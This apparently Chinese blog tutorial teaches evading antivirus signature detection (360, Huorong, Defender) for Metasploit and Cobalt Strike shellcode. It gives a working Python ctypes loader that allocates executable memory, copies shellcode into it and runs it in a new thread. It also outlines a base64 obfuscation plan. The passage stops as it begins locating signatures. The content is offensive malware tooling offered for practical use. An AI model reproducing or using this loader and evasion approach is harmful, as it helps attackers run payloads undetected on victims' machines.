目录
简介
之前学习免杀都是使用Metasploit自带的编码进行,从未成功过。也使用过GitHub上别人提供的免杀方法,最近学习并实践发现绕过国内的杀毒软件貌似并不难,本文使用手工分析特征码,使用base64编码绕过杀毒软件静态分析。虽然使用的方法比较简单,但对实际做免杀及免杀研究还是有一定意义的。
环境
- Windows 10 x64
- Python 3.8.3
- Pyinstaller
- 火绒版本:5.0.53.1,病毒库:2020-10-09
- 360安全卫士:12.0.0.2003,备用木马库:2020-10-10
- 360杀毒:5.0.0.8170
原理
杀毒软件的原理一般是匹配特征码,行为监测,虚拟机(沙箱),内存查杀等。360和火绒主要使用特征码检测查杀病毒(云查杀也是特征码检测),本文仅对360、火绒和Defender进行特征码检测绕过,因为Metasploit和CobaltStrike生成的shellcode中包含内存大小检测、网卡地址检测、编码、时区感知和获取系统信息等功能,但有时功能太多反而容易被检测,如图:
因此,本文通过使用base64编码混淆代码来绕过特征检测。
加载ShellCode
在C/C++语言中,通过申请内存将shellcode加载到内存中进行执行,在Python语言中通过ctypes模块将shellcode加载到内存并执行:
import ctypes
shellcode = b''
#调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存,0x3000代表MEM_COMMIT | MEM_RESERVE,0x40代表可读可写可执行属性
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),ctypes.c_int(0x40)
)
#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_int(wiseZERld),
shellcode,
ctypes.c_int(len(shellcode))
)
#创建线程并执行shellcode
CVXWRcjqxL = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),#指向安全属性的指针
ctypes.c_int(0),#初始堆栈大小
ctypes.c_int(wiseZERld),#指向起始地址的指针
ctypes.c_int(0),#指向任何参数的指针
ctypes.c_int(0),#创建标志
ctypes.pointer(ctypes.c_int(0)))#指向接收线程标识符的值的指针
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(CVXWRcjqxL),
ctypes.c_int(-1)
)
定位特征码
但上面的代码早已被提取特征码,杀毒软件会检测到,如图: